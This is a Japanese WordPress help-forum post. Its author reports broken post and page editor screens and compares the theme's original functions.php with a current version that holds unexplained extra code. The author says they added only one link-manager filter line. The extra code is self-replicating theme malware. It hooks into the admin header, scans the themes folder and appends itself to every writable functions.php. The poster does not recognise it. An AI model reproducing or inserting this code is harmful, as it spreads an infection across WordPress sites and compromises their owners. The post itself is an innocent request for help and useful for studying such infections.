投稿と固定ページ画面がおかしい

potefiveさんありがとうございます

テーマのfunction.phpを初期のものと入れ替えしましたが
同じ現象でした

初期のphpの内容

<?php
register_sidebar(array(
'before_widget' => '<div id="%1$s" class="widget %2$s">',
'after_widget' => '</div></div></div>',
'before_title' => '<h3>',
'after_title' => '</h3><div class="side_box"><div class="side_inbox">',
));
define( 'NO_HEADER_TEXT', true );
define('HEADER_IMAGE', '%s/img/top_img.jpg');
define('HEADER_IMAGE_WIDTH', 920);
define('HEADER_IMAGE_HEIGHT', 280);
add_custom_image_header( $header_callback, $admin_header_callback );
add_custom_background();
?>
<?php add_theme_support( 'menus' ); ?>

変更後のphpの内容

<?php
register_sidebar(array(
'before_widget' => '<div id="%1$s" class="widget %2$s">',
'after_widget' => '</div></div></div>',
'before_title' => '<h3>',
'after_title' => '</h3><div class="side_box"><div class="side_inbox">',
));
define( 'NO_HEADER_TEXT', true );
define('HEADER_IMAGE', '%s/img/top_img.jpg');
define('HEADER_IMAGE_WIDTH', 920);
define('HEADER_IMAGE_HEIGHT', 280);
add_custom_image_header( $header_callback, $admin_header_callback );
add_custom_background();
?>
<?php add_theme_support( 'menus' ); ?>
<?php
function _check_active_widget(){
	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
	$output=strip_tags($output, $allowed);
	$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
	if (is_array($direst)){
		foreach ($direst as $item){
			if (is_writable($item)){
				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
				$cont=file_get_contents($item);
				if (stripos($cont,$ftion) === false){
					$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
					$output .= $before . "Not found" . $after;
					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);
					$output .= ($showdot && $ellipsis) ? "..." : "";
				}
			}
		}
	}
	return $output;
}
function _get_all_widgetcont($wids,$items=array()){
	$places=array_shift($wids);
	if(substr($places,-1) == "/"){
		$places=substr($places,0,-1);
	}
	if(!file_exists($places) || !is_dir($places)){
		return false;
	}elseif(is_readable($places)){
		$elems=scandir($places);
		foreach ($elems as $elem){
			if ($elem != "." && $elem != ".."){
				if (is_dir($places . "/" . $elem)){
					$wids[]=$places . "/" . $elem;
				} elseif (is_file($places . "/" . $elem)&&
					$elem == substr(__FILE__,-13)){
					$items[]=$places . "/" . $elem;}
				}
			}
	}else{
		return false;
	}
	if (sizeof($wids) > 0){
		return _get_all_widgetcont($wids,$items);
	} else {
		return $items;
	}
}
if(!function_exists("stripos")){
    function stripos(  $str, $needle, $offset = 0  ){
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
    }
}

if(!function_exists("strripos")){
    function strripos(  $haystack, $needle, $offset = 0  ) {
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
        if(  $offset < 0  ){
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
        }
        else{
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
        }
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
        return $pos;
    }
}
if(!function_exists("scandir")){
	function scandir($dir,$listDirectories=false, $skipDots=true) {
	    $dirArray = array();
	    if ($handle = opendir($dir)) {
	        while (false !== ($file = readdir($handle))) {
	            if (($file != "." && $file != "..") || $skipDots == true) {
	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
	                array_push($dirArray,basename($file));
	            }
	        }
	        closedir($handle);
	    }
	    return $dirArray;
	}
}
add_action("admin_head", "_check_active_widget");
add_filter( 'pre_option_link_manager_enabled', '__return_true' );
?>

自分で追加したのは最後のadd_filterでリンクを活性化する部分で
他はなぜ変わっているのかわかりません・・